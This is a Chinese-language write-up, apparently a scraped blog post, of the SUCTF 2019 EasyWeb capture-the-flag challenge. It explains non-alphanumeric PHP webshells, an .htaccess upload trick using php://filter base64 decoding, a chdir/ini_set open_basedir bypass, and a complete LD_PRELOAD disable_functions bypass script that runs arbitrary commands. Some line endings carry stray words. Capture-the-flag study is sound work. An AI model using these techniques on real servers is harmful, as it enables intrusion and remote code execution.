刷題記錄:[SUCTF 2019]EasyWeb(EasyPHP)

[TOC]php

刷題記錄:[SUCTF 2019]EasyWeb(EasyPHP)

題目復現連接:https://buuoj.cn/challenges 參考連接:SUCTF-2019 2019 SUCTF Web writeup 2019-SUCTF-web記錄html

1、涉及知識點

一、無數字字母shell

先貼大佬的連接: 一些不包含數字和字母的webshell 無字母數字webshell之提升篇 一道題回顧php異或webshellgit

這個方面充滿了奇技淫巧,看的我一愣一愣,先說利用的php特性:github

(1)代碼中沒有引號的字符都自動做爲字符串

Php的經典特性「Use of undefined constant」,會將代碼中沒有引號的字符都自動做爲字符串,7.2開始提出要被廢棄,不過目前還存在着。web

我猜這也是爲何傳馬的時候$_GET['cmd']$_GET[cmd]均可以shell

(2)Ascii碼大於 0x7F 的字符都會被看成字符串

(3)php 在獲取 HTTP GET 參數的時候默認是得到到了字符串類型

(4)PHP中的的大括號(花括號{})使用詳解

$str{4}在字符串的變量的後面跟上{}大括號或者中括號[],裏面填寫了數字,這裏是把字符串變量當成數組處理數組

${_GET}{cmd}app

57)字符串能夠用!操做符來進行布爾類型的轉換

<?php
var_dump(@a);   //string(1) "a"
var_dump(!@a);  //bool(false)
var_dump(!!@a); //bool(true)

(6)PHP的弱類型特性

由於要獲取'和'{2},就必須有數字2。而PHP因爲弱類型這個特性,true的值爲1,故true+true==2,也就是('>'>'<')+('>'>'<')==2函數

(7)a-zA-Z使用自增變成下一個字母

'a'++ => 'b''b'++ => 'c'ui

二、利用.htaccess上傳文件

<?被過濾時,用僞協議繞過,上傳時上傳base64編碼過的文件

AddType application/x-httpd-php .wuwu
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"

三、繞過open_basedir/disable_function的幾種方法

(1)chdir繞過

bypass open_basedir的新方法 經過chdir來bypass open_basedir

chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

(2)連接文件繞過

php5全版本繞過open_basedir讀文件腳本 本題中php版本較高,此方法無效

(3)disable_function繞過--利用LD_PRELOAD

很厲害的東西,我看傻了都 無需sendmail:巧用LD_PRELOAD突破disable_functions disable_function繞過--利用LD_PRELOAD bypass_disablefunc_via_LD_PRELOAD

條件:PHP 支持putenv()和下面用到的函數

貼上關鍵腳本

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");
    //error_log("err",1,"","");
    //$img = Imagick("1.mp4");//若是有ImageMagick這個擴展(文件必須存在)
    //imap_mail("","","");//須要安裝imap拓展
    //mb_send_mail("","","");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

(4)fpm 繞過

還沒解出來,有空再更

相關文章
相關標籤/搜索